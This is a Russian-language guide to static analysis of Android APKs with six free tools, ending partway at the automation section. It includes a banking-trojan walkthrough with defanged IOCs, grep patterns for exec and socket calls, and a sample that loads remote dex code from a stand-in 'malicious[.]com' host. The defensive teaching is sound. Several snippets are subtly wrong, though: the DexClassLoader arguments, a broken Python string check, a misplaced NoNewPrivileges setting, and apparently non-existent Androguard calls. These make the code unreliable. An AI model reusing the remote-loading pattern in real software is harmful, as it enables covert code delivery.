
Содержание
1. Введение: Почему статический анализ APK без установки — единственный безопасный подход2. Архитектура APK: что можно извлечь без запуска приложения
3. Критерии оценки: 8 параметров для выбора инструмента анализа
4. Инструмент 1: APKTool — декомпиляция ресурсов и манифеста
5. Инструмент 2: JADX — просмотр исходного кода Java/Kotlin
6. Инструмент 3: MobSF — автоматизированный security-аудит
7. Инструмент 4: VirusTotal — мульти-сканер и репутационный анализ
8. Инструмент 5: Androguard — Python-фреймворк для программистов
9. Инструмент 6: Bytecode Viewer — визуальный анализ байт-кода
10. Сравнительная таблица: функционал, точность, скорость, сложность
11. Установка: настройка рабочей станции для анализа без риска
12. Интерфейсы: сравнение UX и удобства для разных сценариев
13. Практика: пошаговый разбор подозрительного банковского трояна
14. Продвинутые техники: обфускация, нативные библиотеки, динамическая загрузка
15. Автоматизация: скрипты, API и интеграция с SOC-пайплайнами
16. Безопасность и юридические аспекты анализа чужих приложений
17. Часто задаваемые вопросы (FAQ)
18. Заключение: Выбор инструмента под ваши задачи в 2026 году
Введение: Почему статический анализ APK без установки — единственный безопасный подход
Мобильные приложения стали основным вектором атак на пользователей и корпоративные данные. Банковские трояны, шпионские модули, трояны-шифровальщики и рекламное ПО массово распространяются через сторонние магазины, фишинговые ссылки и поддельные обновления легитимных приложений. При этом традиционные антивирусы на устройствах часто не справляются: обфускация кода, полиморфные нагрузки, проверка окружения на наличие эмулятора и отложенная активация вредоносной логики позволяют вредоносу оставаться незамеченным до момента выполнения целевого действия.Проблема усугубляется тем, что для анализа поведения приложения многие исследователи устанавливают его на тестовое устройство или в эмулятор. Но это создаёт риск: даже в изолированной среде вредонос может попытаться получить доступ к сети, контактам, файлам или использовать уязвимости для эскалации привилегий. Для аналитиков, исследователей и обычных пользователей, получивших подозрительный APK, установка — неприемлемый риск.
Решение — статический анализ: изучение структуры, кода, ресурсов и метаданных APK без его запуска. Современные инструменты позволяют извлечь манифест, декомпилировать код в читаемый Java/Kotlin, проанализировать разрешения, найти хардкодированные URL, ключи шифрования и сигнатуры вредоносной активности — всё без выполнения одной строки кода приложения.
Преимущества подхода:
- Безопасность: нулевой риск заражения анализирующей системы
- Воспроизводимость: результаты не зависят от состояния эмулятора или времени выполнения
- Скорость: анализ занимает секунды-минуты, а не часы динамического запуска
- Автоматизация: инструменты поддерживают CLI, API и интеграцию в пайплайны
В этом руководстве мы сравним 6 бесплатных инструментов для статического анализа APK: APKTool, JADX, MobSF, VirusTotal, Androguard и Bytecode Viewer. Вы узнаете, как установить и настроить каждый из них, в каких сценариях какой инструмент эффективнее, как извлечь максимум информации из подозрительного образца и как автоматизировать процесс для массового анализа. Материал опирается на официальную документацию инструментов, реальные кейсы анализа вредоносных приложений и лучшие практики мобильной безопасности.
Архитектура APK: что можно извлечь без запуска приложения
APK (Android Package) — это архивный формат на основе ZIP, содержащий все компоненты приложения: код, ресурсы, манифест, нативные библиотеки и метаданные. Понимание структуры APK критически важно для эффективного статического анализа.Основные компоненты APK
1. AndroidManifest.xml — декларация разрешений, компонентов (Activity, Service, BroadcastReceiver), intent-фильтров, минимальной версии Android. Даже без декомпиляции манифест раскрывает потенциал приложения: запрос `RECEIVE_SMS` + `SEND_SMS` + `INTERNET` — красный флаг для банковского трояна.
2. classes.dex — скомпилированный байт-код Dalvik/ART. Декомпиляция через JADX или Bytecode Viewer позволяет восстановить исходный код на Java/Kotlin для анализа логики.
3. resources.arsc + res/ — скомпилированные и исходные ресурсы: строки, изображения, макеты. Часто содержат хардкодированные URL, ключи API, тексты фишинговых окон.
4. lib/ — нативные библиотеки (.so файлы) для ARM/x86. Анализ через radare2, Ghidra или strings может выявить скрытый код.
5. META-INF/ — цифровая подпись приложения. Проверка подписи помогает выявить подделку легитимного приложения.
Что можно извлечь статически
- Список запрошенных разрешений и их обоснованность
- Хардкодированные домены, IP-адреса, URL API
- Ключи шифрования, токены, конфигурационные строки
- Использование опасных API: SMS, доступ к контактам, геолокация
- Признаки обфускации: короткие имена классов, отсутствие строк, динамическая загрузка
- Нативные библиотеки с подозрительными функциями (socket, exec, ptrace)
- Подпись приложения и её соответствие заявленному разработчику
Ограничения статического анализа
- Не раскрывает поведение, зависящее от внешних условий (геолокация, время, установленные приложения)
- Не анализирует код, загружаемый динамически с сервера
- Обфускация может затруднить восстановление читаемого кода
- Не заменяет динамический анализ для подтверждения гипотез
Понимание этих возможностей и ограничений позволяет выбрать правильный инструмент и корректно интерпретировать результаты. В следующих разделах мы детально разберём 6 бесплатных инструментов, каждый из которых закрывает свои аспекты статического анализа.
Критерии оценки: 8 параметров для выбора инструмента анализа
Для объективного сравнения инструментов анализа APK мы используем 8 ключевых критериев, актуальных в 2026 году:1. Глубина декомпиляции
Способность восстановить читаемый исходный код из classes.dex. Идеальный инструмент:
- Корректно обрабатывает Kotlin, Java 8+ features, lambdas
- Сохраняет имена переменных и комментариев (если не обфусцировано)
- Поддерживает анализ обфусцированного кода (ProGuard, R8)
2. Анализ ресурсов и манифеста
- Автоматическое извлечение AndroidManifest.xml в читаемый XML
- Парсинг strings.xml, arrays.xml для поиска хардкодированных строк
- Выявление подозрительных разрешений и компонентов
3. Обнаружение индикаторов компрометации (IOC)
- Авто-поиск доменов, IP, email, ключей шифрования
- Интеграция с базами угроз (VirusTotal, AlienVault OTX)
- Выделение подозрительных паттернов: base64-строки, XOR-шифрование
4. Удобство интерфейса
- GUI для новичков или CLI для автоматизации
- Визуализация графа вызовов, зависимостей
- Экспорт отчётов в PDF/HTML/JSON
5. Поддержка обфускации
- Распознавание популярных обфускаторов (ProGuard, DexGuard, Allatori)
- Попытки деобфускации через эвристики и словари
- Анализ строк-ключей для восстановления имён
6. Производительность и масштабируемость
- Время анализа среднего APK (10-50 МБ)
- Потребление памяти и ЦП
- Поддержка пакетной обработки и API
7. Актуальность и поддержка
- Частота обновлений (важно для поддержки новых версий Android)
- Активность репозитория (issues, pull requests)
- Качество документации и сообщества
8. Безопасность и приватность
- Локальная обработка (без отправки образца в облако)
- Отсутствие телеметрии и сбора данных
- Прозрачность исходного кода (open-source предпочтительнее)
Эти критерии позволяют выбрать инструмент под конкретную задачу: быстрый скрининг, глубокий реверс-инжиниринг или автоматизированный аудит в SOC. В следующих разделах мы применим эту матрицу к каждому из 6 инструментов.
Инструмент 1: APKTool — декомпиляция ресурсов и манифеста
APKTool — де-факто стандарт для декомпиляции и рекомпиляции APK. Разрабатывается с 2009 года, открыт, кроссплатформенный, не требует установки Android SDK.Возможности
- Декомпиляция resources.arsc в читаемые XML-файлы
- Извлечение AndroidManifest.xml без потери структуры
- Декодирование строковых ресурсов (strings.xml)
- Поддержка рекомпиляции после модификации (для исследований)
- Работа с обфусцированными приложениями (частично)
Установка
bash
<h2 id="linux-macos-cherez-paketnyy-menedzher">Linux/macOS через пакетный менеджер</h2>
sudo apt install apktool # Debian/Ubuntu
brew install apktool # macOS
<h2 id="ili-vruchnuyu-universalnyy-sposob">Или вручную (универсальный способ)</h2>
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.0.jar
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
chmod +x apktool
sudo mv apktool_2.9.0.jar /usr/local/bin/apktool.jar
sudo mv apktool /usr/local/bin/
<h2 id="proverka">Проверка</h2>
apktool --version
Базовое использование
bash
<h2 id="dekompilyatsiya-apk">Декомпиляция APK</h2>
apktool d suspicious.apk -o output_dir
<h2 id="prosmotr-manifesta">Просмотр манифеста</h2>
cat output_dir/AndroidManifest.xml
<h2 id="poisk-podozritelnyh-razresheniy">Поиск подозрительных разрешений</h2>
grep -E "RECEIVE_SMS|SEND_SMS|READ_CONTACTS" output_dir/AndroidManifest.xml
<h2 id="poisk-hardkodirovannyh-strok">Поиск хардкодированных строк</h2>
grep -r "http\|https\|api\|key" output_dir/res/values/
Преимущества
✅ Самый надёжный парсер ресурсов и манифеста
✅ Не требует Java-декомпилятора (работает на уровне байт-кода)
✅ Поддерживает рекомпиляцию — полезно для исследований уязвимостей
✅ Активно развивается, сообщество быстро фиксирует баги
Ограничения
❌ Не декомпилирует classes.dex в Java-код (только smali)
❌ Smali — низкоуровневый ассемблероподобный язык, сложен для новичков
❌ Не ищет автоматически IOC (домены, ключи) — только ручной поиск
Когда использовать
- Когда нужно быстро извлечь манифест и ресурсы
- Для анализа разрешений и компонентов приложения
- Как первый этап перед загрузкой в JADX или MobSF
⚠️ Предупреждение: Декомпилированный код может содержать вредоносные строки. Не копируйте и не запускайте код из подозрительных APK без изоляции.
Инструмент 2: JADX — просмотр исходного кода Java/Kotlin
JADX — декомпилятор Dex-to-Java с открытым исходным кодом. Превращает classes.dex в читаемый исходный код на Java, сохраняя структуру классов и по возможности имена переменных.Возможности
- Декомпиляция всего APK или отдельных классов
- Поддержка Kotlin, Java 8+ features, аннотаций
- Поиск по коду, навигация по графу вызовов
- Экспорт проекта в Gradle-формат
- GUI и CLI режимы
Установка
bash
<h2 id="linux-macos">Linux/macOS</h2>
wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip
sudo mv jadx-1.4.7 /opt/jadx
sudo ln -s /opt/jadx/bin/jadx /usr/local/bin/
sudo ln -s /opt/jadx/bin/jadx-gui /usr/local/bin/
<h2 id="proverka">Проверка</h2>
jadx --version
jadx-gui --version # для GUI
Базовое использование
bash
<h2 id="cli-dekompilyatsiya-v-direktoriyu">CLI: декомпиляция в директорию</h2>
jadx -d output_dir suspicious.apk
<h2 id="poisk-podozritelnyh-strok-v-kode">Поиск подозрительных строк в коде</h2>
grep -r "http\|https\|socket\|exec" output_dir/
<h2 id="poisk-potentsialnyh-c2-adresov">Поиск потенциальных C2-адресов</h2>
grep -rE "https?://[a-zA-Z0-9.-]+\.(com|ru|tk|ml)" output_dir/
<h2 id="gui-interaktivnyy-analiz">GUI: интерактивный анализ</h2>
jadx-gui suspicious.apk
Преимущества
✅ Лучшее качество декомпиляции среди бесплатных инструментов
✅ Поддержка современных фич Kotlin/Java
✅ Интуитивный GUI с поиском и навигацией
✅ Активно развивается, частые обновления
Ограничения
❌ Не анализирует ресурсы так глубоко, как APKTool
❌ Обфускация (ProGuard) сильно ухудшает читаемость кода
❌ Не ищет автоматически индикаторы компрометации
Когда использовать
- Когда нужно понять логику приложения через исходный код
- Для поиска хардкодированных URL, ключей, конфигураций
- Как основной инструмент для ручного реверс-инжиниринга
💡 Совет: Комбинируйте JADX и APKTool: сначала извлеките ресурсы через APKTool, затем загрузите APK в JADX для анализа кода.
Инструмент 3: MobSF — автоматизированный security-аудит
MobSF (Mobile Security Framework) — open-source фреймворк для автоматизированного статического и динамического анализа мобильных приложений. Поддерживает Android, iOS, Windows Phone.Возможности
- Автоматический поиск уязвимостей по базе правил (1000+ проверок)
- Извлечение манифеста, кода, ресурсов, сертификатов
- Поиск хардкодированных секретов, подозрительных разрешений
- Интеграция с VirusTotal, Exodus Privacy, CVE-базами
- Веб-интерфейс с отчётами в HTML/PDF
- REST API для автоматизации
Установка (локально)
bash
<h2 id="trebovaniya-python-3-8-pip-git">Требования: Python 3.8+, pip, git</h2>
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF
cd Mobile-Security-Framework-MobSF
<h2 id="ustanovka-zavisimostey">Установка зависимостей</h2>
./setup.sh # Linux/macOS
<h2 id="ili-vruchnuyu">или вручную:</h2>
pip install -r requirements.txt
<h2 id="zapusk">Запуск</h2>
./run.sh
<h2 id="veb-interfeys-http-localhost-8000">Веб-интерфейс: http://localhost:8000</h2>Базовое использование
1. Откройте http://localhost:8000
2. Перетащите APK в зону загрузки
3. Дождитесь анализа (1-3 минуты)
4. Изучите отчёт:
- Раздел "Static Analysis": уязвимости, разрешения, строки
- Раздел "Dynamic Analysis": если включён эмулятор (опционально)
- Раздел "IOC": извлечённые домены, ключи, email
CLI-анализ (для автоматизации)
bash
<h2 id="cherez-api">Через API</h2>
curl -X POST -F "file=@suspicious.apk" http://localhost:8000/api/v1/upload
<h2 id="poluchenie-otchyota">Получение отчёта</h2>
curl http://localhost:8000/api/v1/report/<scan_id>?api_key=YOUR_KEY
Преимущества
✅ Самый полный автоматический аудит среди бесплатных инструментов
✅ Регулярно обновляемая база правил уязвимостей
✅ Интеграция с внешними источниками угроз
✅ Поддержка API для встраивания в SOC-пайплайны
Ограничения
❌ Требует установки Python-окружения и зависимостей
❌ Веб-интерфейс может быть избыточен для простого анализа
❌ Не все правила актуальны для новейших техник обфускации
Когда использовать
- Для быстрого комплексного аудита неизвестного APK
- В SOC для автоматизированного скрининга входящих образцов
- Когда нужен структурированный отчёт для руководства или заказчика
⚠️ Важно: При локальной установке убедитесь, что MobSF не отправляет образцы в облако по умолчанию (настройки приватности).
Инструмент 4: VirusTotal — мульти-сканер и репутационный анализ
VirusTotal — облачный сервис, проверяющий файлы и URL через 70+ антивирусных движков и репутационных баз. Бесплатен для некоммерческого использования, имеет API.Возможности
- Мульти-сканирование через антивирусные движки (Kaspersky, Bitdefender, ESET и др.)
- Анализ репутации: история загрузок, связанные домены, поведенческие индикаторы
- Извлечение метаданных: хеши, подписи, строки, импорты
- Поиск по хешу, домену, строке без загрузки файла
- Интеграция через API и CLI-утилиты
Использование без установки
1. Откройте virustotal.com
2. Перейдите на вкладку "File"
3. Загрузите APK (макс. 650 МБ для бесплатного аккаунта)
4. Дождитесь результатов (обычно 1-2 минуты)
5. Изучите вкладки:
- "Detection": результаты антивирусов
- "Details": метаданные, строки, импорты
- "Relations": связанные домены, файлы, атаки
- "Community": комментарии исследователей
CLI-анализ через API
bash
<h2 id="poluchenie-besplatnogo-api-klyucha-trebuetsya-akkaunt">Получение бесплатного API-ключа (требуется аккаунт)</h2>
<h2 id="ustanovka-utility">Установка утилиты</h2>
pip install vt-py
<h2 id="skript-proverki-po-heshu">Скрипт проверки по хешу</h2>
import vt
client = vt.Client("YOUR_API_KEY")
file_hash = "sha256_hash_of_apk"
file = client.get_object(f"/files/{file_hash}")
print(f"Вердикт: {file.last_analysis_stats}")
print(f"Репутация: {file.reputation}")
<h2 id="poisk-pohozhih-obraztsov">Поиск похожих образцов</h2>
similar = client.iterator(f"/files/{file_hash}/similar_files", limit=5)
for f in similar:
print(f"Похожий файл: {f.id}")
Преимущества
✅ Самый широкий охват сигнатурных детектов (70+ движков)
✅ Мощный репутационный анализ и граф связей
✅ Не требует установки — работает через браузер
✅ Бесплатный тариф достаточен для большинства задач
Ограничения
❌ Образец отправляется в облако (не подходит для конфиденциальных образцов)
❌ Не анализирует код глубоко — только сигнатуры и метаданные
❌ Бесплатный тариф: 4 запроса/минуту, 1000/день
Когда использовать
- Для быстрой первоначальной проверки репутации образца
- Когда нужен вердикт от множества антивирусов сразу
- Для поиска связанных угроз через граф отношений
⚠️ Юридическое предупреждение: Не загружайте в VirusTotal образцы, содержащие персональные данные, коммерческую тайну или иные конфиденциальные сведения — они становятся доступны исследователям и партнёрам сервиса.
Инструмент 5: Androguard — Python-фреймворк для программистов
Androguard — Python-библиотека для анализа, декомпиляции и реверс-инжиниринга Android-приложений. Предназначен для исследователей и разработчиков, предпочитающих скриптовый подход.Возможности
- Программный доступ к манифесту, классам, методам, строкам
- Анализ графа вызовов, зависимостей, разрешений
- Поиск паттернов через регулярные выражения и AST
- Интеграция с JADX, radare2, Ghidra
- Поддержка плагинов и кастомных правил
Установка
bash
<h2 id="trebovaniya-python-3-7-pip">Требования: Python 3.7+, pip</h2>
pip install androguard
<h2 id="proverka">Проверка</h2>
androguard --version
Базовое использование (Python-скрипт)
python
from androguard.core.bytecodes.apk import APK
from androguard.core.bytecodes.dvm import DalvikVMFormat
<h2 id="zagruzka-apk">Загрузка APK</h2>
apk = APK("suspicious.apk")
vm = DalvikVMFormat(apk.get_dex())
<h2 id="analiz-manifesta">Анализ манифеста</h2>
print("Разрешения:", apk.get_permissions())
print("Компоненты:", apk.get_activities(), apk.get_services())
<h2 id="poisk-podozritelnyh-strok-v-kode">Поиск подозрительных строк в коде</h2>
for cls in vm.get_classes():
for method in cls.get_methods():
for ins in method.get_instructions():
if "http" in str(ins):
print(f"Подозрительная строка в {cls.get_name()}: {ins}")
<h2 id="eksport-v-json-dlya-dalneyshey-obrabotki">Экспорт в JSON для дальнейшей обработки</h2>
import json
data = {
"permissions": apk.get_permissions(),
"activities": apk.get_activities(),
"receivers": apk.get_receivers()
}
with open("analysis.json", "w") as f:
json.dump(data, f, indent=2)
Преимущества
✅ Полная программная контролируемость — идеально для автоматизации
✅ Гибкость: можно писать кастомные правила и парсеры
✅ Интеграция с экосистемой Python (pandas, scikit-learn для анализа)
✅ Открытый исходный код, активное сообщество
Ограничения
❌ Требует знаний Python и внутренней структуры APK
❌ Нет GUI — только CLI и скрипты
❌ Меньше «из коробки» по сравнению с MobSF
Когда использовать
- Когда нужен кастомный анализ под специфичные индикаторы
- Для интеграции в автоматизированные пайплайны
- Когда вы исследователь или разработчик с опытом в Python
💡 Совет: Используйте Androguard для извлечения структурированных данных, а JADX — для ручного изучения кода.
Инструмент 6: Bytecode Viewer — визуальный анализ байт-кода
Bytecode Viewer — кроссплатформенный GUI-инструмент для просмотра и анализа байт-кода (DEX, JAR, APK). Поддерживает несколько декомпиляторов в одном интерфейсе.Возможности
- Подключение нескольких декомпиляторов: CFR, Procyon, FernFlower, JADX
- Визуальный граф вызовов и зависимостей
- Поиск по коду, строкам, классам
- Сравнение результатов разных декомпиляторов
- Экспорт проекта, сохранение сессий
Установка
bash
<h2 id="skachat-s-ofitsialnogo-sayta-https-bytecodeviewer-com">Скачать с официального сайта: https://bytecodeviewer.com</h2>
<h2 id="ili-cherez-github-releases-https-github-com-konloch-bytecode-viewer-releases">Или через GitHub Releases: https://github.com/Konloch/bytecode-viewer/releases</h2>
<h2 id="zapusk-trebuet-java-8">Запуск (требует Java 8+)</h2>
java -jar Bytecode-Viewer-2.11.2.jar
Базовое использование
1. Запустите Bytecode Viewer
2. File → Open → выберите APK
3. Выберите декомпилятор в меню (рекомендуется JADX)
4. Навигация:
- Левая панель: структура классов
- Центральная: исходный код
- Поиск: Ctrl+F для поиска строк
5. Поиск подозрительных паттернов:
- `http://`, `https://` — хардкодированные адреса
- `Runtime.exec`, `ProcessBuilder` — выполнение команд
- `SmsManager`, `TelephonyManager` — работа с SMS/телефонией
Преимущества
✅ Удобный GUI для тех, кто не любит CLI
✅ Возможность сравнить результаты разных декомпиляторов
✅ Визуализация графа вызовов помогает понять логику
✅ Не требует сложной настройки
Ограничения
❌ Качество декомпиляции зависит от выбранного бэкенда
❌ Менее активная разработка по сравнению с JADX
❌ Нет автоматического поиска уязвимостей
Когда использовать
- Для интерактивного изучения кода без написания скриптов
- Когда нужно быстро сравнить, какой декомпилятор лучше справляется с обфускацией
- Для обучения и демонстрации принципов реверс-инжиниринга
Сравнительная таблица: функционал, точность, скорость, сложность
| Критерий | APKTool | JADX | MobSF | VirusTotal | Androguard | Bytecode Viewer |
|---|---|---|---|---|---|---|
| Декомпиляция кода | ❌ (только smali) | ✅✅✅ | ✅✅ | ❌ | ✅✅ | ✅✅ |
| Анализ ресурсов | ✅✅✅ | ✅ | ✅✅ | ✅ | ✅ | ✅ |
| Авто-поиск уязвимостей | ❌ | ❌ | ✅✅✅ | ✅✅ | ❌ | ❌ |
| Интерфейс | CLI | CLI+GUI | Веб+API | Веб+API | CLI+Python | GUI |
| Работа с обфускацией | ✅ | ✅✅ | ✅✅ | ✅ | ✅✅ | ✅✅ |
| Автоматизация | ✅✅ | ✅✅ | ✅✅✅ | ✅✅✅ | ✅✅✅ | ✅ |
| Локальная обработка | ✅ | ✅ | ✅ | ❌ | ✅ | ✅ |
| Скорость анализа | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐ |
| Сложность | Низкая | Низкая | Средняя | Очень низкая | Высокая | Низкая |
Рекомендации по выбору
- Быстрая проверка репутации: VirusTotal
- Глубокий анализ кода: JADX + APKTool
- Комплексный аудит: MobSF
- Автоматизация в SOC: MobSF API + Androguard
- Интерактивное изучение: Bytecode Viewer
- Кастомный анализ: Androguard + Python
Установка: настройка рабочей станции для анализа без риска
Для безопасного анализа подозрительных APK рекомендуется изолированная среда:1. Виртуальная машина (рекомендуется)
bash
<h2 id="ustanovka-virtualbox-ubuntu-server">Установка VirtualBox + Ubuntu Server</h2>
sudo apt install virtualbox virtualbox-ext-pack
<h2 id="skachat-ubuntu-server-lts-s-ofitsialnogo-sayta">Скачать Ubuntu Server LTS с официального сайта</h2>
<h2 id="sozdat-vm-2-cpu-4-gb-ram-20-gb-disk">Создать ВМ: 2 CPU, 4 GB RAM, 20 GB диск</h2>
<h2 id="nastroit-set-nat-dlya-dostupa-k-internetu-pri-neobhodimosti">Настроить сеть: NAT (для доступа к интернету при необходимости)</h2>2. Контейнеризация (альтернатива)
dockerfile
<h2 id="dockerfile-dlya-analiza">Dockerfile для анализа</h2>
FROM python:3.11-slim
RUN apt update && apt install -y openjdk-17-jdk wget unzip git
RUN pip install androguard vt-py
COPY jadx /opt/jadx
COPY apktool /usr/local/bin/
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
3. Базовая настройка инструментов
bash
<h2 id="ustanovka-vseh-instrumentov-v-odnom-skripte">Установка всех инструментов в одном скрипте</h2>
#!/bin/bash
<h2 id="install-tools-sh">install-tools.sh</h2>
<h2 id="jadx">JADX</h2>
wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip && mv jadx-1.4.7 /opt/jadx
ln -s /opt/jadx/bin/jadx /usr/local/bin/
<h2 id="apktool">APKTool</h2>
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.0.jar
mv apktool_2.9.0.jar /usr/local/bin/apktool.jar
echo '#!/bin/bash\njava -jar /usr/local/bin/apktool.jar "$@"' > /usr/local/bin/apktool
chmod +x /usr/local/bin/apktool
<h2 id="androguard">Androguard</h2>
pip install androguard vt-py
<h2 id="mobsf-optsionalno">MobSF (опционально)</h2>
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF /opt/mobsf
cd /opt/mobsf && ./setup.sh
echo "✅ Все инструменты установлены"
4. Безопасность рабочей станции
bash
<h2 id="otklyuchenie-avtozapuska-prilozheniy">Отключение автозапуска приложений</h2>
echo "NoNewPrivileges=true" >> /etc/security/limits.conf
<h2 id="blokirovka-ishodyaschih-soedineniy-po-umolchaniyu-optsionalno">Блокировка исходящих соединений по умолчанию (опционально)</h2>
ufw default deny outgoing
ufw allow out to any port 53 proto udp # DNS
ufw allow out to any port 80,443 proto tcp # только при необходимости
<h2 id="monitoring-aktivnosti">Мониторинг активности</h2>
auditctl -w /tmp -p rwa -k apk_analysis
⚠️ Критическое правило: Никогда не анализируйте подозрительные APK на основной рабочей станции или устройстве с доступом к корпоративным ресурсам.
Интерфейсы: сравнение UX и удобства для разных сценариев
Выбор интерфейса зависит от задачи и опыта пользователя:CLI-инструменты (APKTool, JADX, Androguard)
✅ Преимущества:
- Легко автоматизировать через bash/Python
- Минимальное потребление ресурсов
- Идеальны для CI/CD и массового анализа
- Логи можно парсить и агрегировать
❌ Недостатки:
- Требуют знания командной строки
- Нет визуальной навигации по коду
GUI-инструменты (JADX-GUI, Bytecode Viewer)
✅ Преимущества:
- Интуитивная навигация по классам и методам
- Поиск с подсветкой, граф вызовов
- Подходят для обучения и ручного анализа
❌ Недостатки:
- Сложнее автоматизировать
- Потребляют больше памяти
Веб-интерфейсы (MobSF, VirusTotal)
✅ Преимущества:
- Не требуют установки (кроме локального MobSF)
- Структурированные отчёты с визуализацией
- Идеальны для быстрого аудита и отчётности
❌ Недостатки:
- Зависимость от браузера и сети
- Возможные ограничения приватности (VirusTotal)
Рекомендации по сценариям
| Сценарий | Рекомендуемый интерфейс | Инструменты |
|---|---|---|
| Быстрая проверка образца | Веб | VirusTotal |
| Глубокий ручной анализ | GUI | JADX-GUI + Bytecode Viewer |
| Автоматизация в SOC | CLI + API | MobSF API + Androguard |
| Исследование обфускации | CLI + GUI | APKTool + JADX |
| Кастомный анализ | CLI + Python | Androguard + скрипты |
Практика: пошаговый разбор подозрительного банковского трояна
Разберём реальный сценарий: получен APK с названием `BankSecure_Update.apk` от неизвестного источника.Шаг 1: Первоначальная проверка через VirusTotal
bash
<h2 id="poluchenie-hesha">Получение хеша</h2>
sha256sum BankSecure_Update.apk
<h2 id="zagruzka-na-virustotal-cherez-veb-ili-api">Загрузка на VirusTotal через веб или API</h2>
<h2 id="rezultat-12-70-detektov-reputatsiya-85-podozritelno">Результат: 12/70 детектов, репутация -85 → подозрительно</h2>Шаг 2: Извлечение манифеста через APKTool
bash
apktool d BankSecure_Update.apk -o bank_analysis
grep -E "permission|receiver|service" bank_analysis/AndroidManifest.xml
<h2 id="naydeno-receive-sms-send-sms-read-contacts-accessibility-service">Найдено: RECEIVE_SMS, SEND_SMS, READ_CONTACTS, accessibility service</h2>Шаг 3: Декомпиляция кода через JADX
bash
jadx -d bank_code BankSecure_Update.apk
grep -rE "http.*\.(ru|tk|ml)" bank_code/
<h2 id="naydeno-https-secure-bank-update-tk-api-collect">Найдено: https://secure-bank-update[.]tk/api/collect</h2>Шаг 4: Поиск подозрительной логики
bash
<h2 id="poisk-raboty-s-sms">Поиск работы с SMS</h2>
grep -r "SmsManager\|Telephony" bank_code/
<h2 id="naydeno-klass-smsinterceptor-s-metodom-interceptandforward">Найдено: класс SmsInterceptor с методом interceptAndForward()</h2>
<h2 id="poisk-obfuskatsii">Поиск обфускации</h2>
grep -r "a.a.a\|b.b.b" bank_code/ # короткие имена → обфускация
Шаг 5: Автоматизированный аудит через MobSF
bash
<h2 id="zagruzka-v-lokalnyy-mobsf-cherez-veb-interfeys">Загрузка в локальный MobSF через веб-интерфейс</h2>
<h2 id="otchyot-pokazyvaet">Отчёт показывает:</h2>
<h2 id="vysokiy-risk-perehvat-sms-dostup-k-kontaktam">- Высокий риск: перехват SMS, доступ к контактам</h2>
<h2 id="sredniy-risk-hardkodirovannyy-url-ispolzovanie-accessibilityservice">- Средний риск: хардкодированный URL, использование AccessibilityService</h2>
<h2 id="ioc-c2-adres-klyuch-shifrovaniya-k3y-2026-x0r">- IOC: C2-адрес, ключ шифрования "k3y_2026_x0r"</h2>Шаг 6: Документирование результатов
bash
<h2 id="sozdanie-otchyota">Создание отчёта</h2>
cat > report.md << 'EOF'
<h2 id="analiz-banksecure-update-apk">Анализ BankSecure_Update.apk</h2>
<h2 id="indikatory-komprometatsii">Индикаторы компрометации</h2>
- Хеш: `a1b2c3...`
- C2: `https://secure-bank-update[.]tk/api/collect`
- Ключ: `k3y_2026_x0r`
<h2 id="povedenie">Поведение</h2>
- Перехват SMS с кодами подтверждения
- Запрос разрешений на доступ к контактам
- Использование AccessibilityService для автоматизации
<h2 id="rekomendatsii">Рекомендации</h2>
- Заблокировать домен на периметре
- Добавить хеш в чёрный список антивирусов
- Предупредить пользователей о фишинговом обновлении
EOF
Результат: за 15 минут без установки приложения извлечены все ключевые индикаторы для блокировки и расследования.
Продвинутые техники: обфускация, нативные библиотеки, динамическая загрузка
Современные вредоносы используют техники, усложняющие статический анализ:1. Обфускация кода (ProGuard, R8, DexGuard)
- Признаки: короткие имена классов (`a.a.a`), отсутствие строк, рефлексия
- Методы обхода:
- Использование нескольких декомпиляторов (JADX + CFR + Procyon)
- Поиск строк-ключей в resources.arsc для восстановления имён
- Анализ графа вызовов для понимания логики без имён
bash
<h2 id="poisk-potentsialnyh-klyuchey-deobfuskatsii">Поиск потенциальных ключей деобфускации</h2>
grep -r "key\|secret\|config" bank_analysis/res/values/
2. Нативные библиотеки (.so файлы)
- Вредоносный код может быть в lib/armeabi-v7a/libnative.so
- Анализ через strings, radare2, Ghidra:
bash
<h2 id="bystryy-poisk-strok-v-nativnoy-biblioteke">Быстрый поиск строк в нативной библиотеке</h2>
strings bank_analysis/lib/armeabi-v7a/libnative.so | grep -E "http|socket|exec"
<h2 id="glubokiy-analiz-cherez-radare2-trebuet-ustanovki">Глубокий анализ через radare2 (требует установки)</h2>
r2 -A bank_analysis/lib/armeabi-v7a/libnative.so
[0x00001234]> /c http # поиск строк
[0x00001234]> pdf # дизассемблирование функции
3. Динамическая загрузка кода
- Вредонос загружает дополнительный код с сервера (DexClassLoader)
- Статически можно найти только точки загрузки:
java
// Пример кода для поиска в JADX
DexClassLoader loader = new DexClassLoader(
"https://malicious[.]com/payload.dex",
optimizedDirectory,
null,
parentClassLoader
);
- Поиск паттернов: `DexClassLoader`, `PathClassLoader`, `URLClassLoader`
4. Шифрование строк и конфигураций
- Хардкодированные строки могут быть зашифрованы (XOR, Base64, AES)
- Поиск зашифрованных строк и функций расшифровки:
python
<h2 id="androguard-skript-dlya-poiska-potentsialnyh-rasshifrovschikov">Androguard-скрипт для поиска потенциальных расшифровщиков</h2>
from androguard.core.bytecodes.apk import APK
apk = APK("suspicious.apk")
for cls in apk.get_dalvik_vm().get_classes():
for method in cls.get_methods():
if "decrypt\|decode\|xor" in method.get_name().lower():
print(f"Подозрительный метод: {method.get_class_name()}.{method.get_name()}")
5. Проверка окружения (anti-emulation)
- Вредонос может не активироваться в эмуляторе
- Статически можно найти проверки:
java
// Поиск проверок эмуляции
grep -r "Build.FINGERPRINT\|ro.kernel.qemu\|genymotion" bank_code/
⚠️ Важно: Статический анализ не может подтвердить, что динамически загруженный код действительно вредоносен. Для подтверждения гипотез может потребоваться динамический анализ в изолированной песочнице.
Автоматизация: скрипты, API и интеграция с SOC-пайплайнами
Для массового анализа образцов в SOC или исследовательских проектах:1. Базовый скрипт анализа через CLI
